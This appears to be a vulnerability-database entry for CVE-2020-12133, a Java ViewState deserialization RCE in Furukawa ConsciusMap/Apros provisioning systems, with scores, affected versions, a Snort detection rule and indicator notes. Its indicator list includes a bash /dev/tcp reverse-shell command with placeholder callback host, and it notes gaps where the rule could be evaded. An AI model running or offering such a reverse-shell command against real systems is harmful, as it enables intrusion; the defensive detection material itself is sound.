cbcvebase.
CVE-2020-12133
published 2020-04-27

CVE-2020-12133: The Apros Evolution, ConsciusMap, and Furukawa provisioning systems through 2.8.1 allow remote code execution because of javax.faces.ViewState Java…

PriorityP271critical9.8CVSS 3.1
AVNACLPRNUINSUCHIHAH
EXPLOIT
EPSS
9.88%
95.0th percentile
The Apros Evolution, ConsciusMap, and Furukawa provisioning systems through 2.8.1 allow remote code execution because of javax.faces.ViewState Java deserialization.

Affected

1 ranges
VendorProductVersion rangeFixed in
farukawaelectric_consciousmap<= 2.8.1—

Detection & IOCsextracted from sources · hover to see the quote

port8080↗
command/bin/bash -c /bin/bash${IFS}-i>&/dev/tcp/<callback>/<lport> 0>&1↗
cookiejavax.faces.ViewState
snort
alert http any any -> [$HOME_NET,$HTTP_SERVERS] 8080 (msg:"ET EXPLOIT Furukawa Electric ConsciusMAP 2.8.1 Java Deserialization Remote Code Execution (CVE-2020-12133)"; flow:established,to_server; http.method; bsize:4; content:"POST"; http.uri; pcre:"/\x2f(?:FURUKAWA|APROS)\x2f/i"; http.request_body; content:"javax.faces.ViewState"; nocase; fast_pattern; content:"|3a|"; distance:0; content:"|22|"; distance:0; reference:url,packetstormsecurity.com/files/157383/Furukawa-Electric-ConsciusMAP-2.8.1-Java-Deserialization-Remote-Code-Execution.html; reference:cve,2020-12133; classtype:attempted-admin; sid:2034260; rev:3; metadata:created_at 2021_10_27, cve CVE_2020_12133, confidence High, signature_severity Major, tag Description_Generated_By_Proofpoint_Nexus, updated_at 2024_03_26, mitre_tactic_id TA0001, mitre_tactic_name Initial_Access, mitre_technique_id T1190, mitre_technique_name Exploit_Public_Facing_Application;)
  • →Exploit sends an HTTP POST request to a URI path matching /FURUKAWA/ or /APROS/ (case-insensitive) on port 8080, with a body containing the serialized Java object in the 'javax.faces.ViewState' parameter. ↗
  • →The exploit establishes a reverse shell via /dev/tcp back to the attacker's host and port; monitor for outbound TCP connections from Tomcat/Java processes to unexpected external hosts. ↗
  • →The deserialization payload is delivered via the HTTP POST body; the Snort rule keys on byte sequences |3a| (colon) and |22| (double-quote) immediately following the ViewState parameter, which are characteristic of the serialized object structure.
  • ·The Snort/ET rule targets destination port 8080 specifically; deployments running the provisioning system on a non-standard port will not be covered by this rule as-is.
  • ·The URI PCRE matches only /FURUKAWA/ and /APROS/ path prefixes; the ConsciusMAP application path may differ across deployments and could evade this detection.

CVSS provenance

nvdv3.19.8CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
nvdv2.010.0CRITICALAV:N/AC:L/Au:N/C:C/I:C/A:C
CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.